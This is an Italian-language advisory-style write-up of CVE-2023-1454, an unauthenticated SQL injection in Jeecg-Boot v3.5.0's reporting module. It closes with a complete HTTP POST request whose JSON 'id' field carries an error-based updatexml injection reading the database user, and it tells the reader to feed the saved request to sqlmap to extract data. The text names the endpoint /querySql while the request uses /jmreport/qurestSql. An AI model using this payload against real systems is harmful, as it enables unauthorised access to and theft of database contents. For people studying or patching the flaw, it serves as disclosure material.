CVE-2023-1454

Script di rilevamento della vulnerabilità CVE-2023-1454

Questo articolo è solo a scopo informativo. Non utilizzare le informazioni tecniche e gli strumenti contenuti nell'articolo per effettuare intrusioni in qualsiasi sistema informatico senza autorizzazione.

Le conseguenze e le perdite dirette o indirette derivanti dall'uso delle informazioni fornite in questo articolo sono di esclusiva responsabilità dell'utente.

Introduzione Jeecg-Boot è una piattaforma di sviluppo low-code basata su generatori di codice. Offre una serie di funzionalità tra cui generatori di codice, motori di template, gestione dei permessi, dizionario dati, importazione/esportazione dati, e può aiutare gli sviluppatori a creare rapidamente applicazioni aziendali.

Panoramica della vulnerabilità La piattaforma Java low-code per applicazioni Web aziendali Jeecg-Boot (v3.5.0) utilizza jimureport-spring-boot-starter-1.5.6.jar. Jeecg-Boot presenta un difetto nel filtraggio dei caratteri speciali. Con il frontend Vue3 nella versione v3.5.0, Jeecg presenta una vulnerabilità di SQL injection non autenticata. Il punto di vulnerabilità risiede nel fatto che quando viene chiamato il percorso /querySql, il parametro id dell'SQL chiamato non viene elaborato, consentendo direttamente un'iniezione basata su errori. Un aggressore remoto non autenticato, tramite la costruzione di stringhe appositamente formulate, può ottenere informazioni sensibili dal database di destinazione.

Versioni interessate Versioni interessate: Jeecg-Boot = v3.5.0

Salvare il pacchetto come file .txt e utilizzare sqlmap per ottenere i dati.

POST /jmreport/qurestSql HTTP/1.1
    Host: xxx.xxx.xxx
    Content-Length: 0
    Content-Type: application/json
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
    
   {"apiSelectId":"1316997232402231298","id":"1' or '%1%' like (updatexml(0x3a,concat(1,(select current_user)),1)) or '%%' like '"}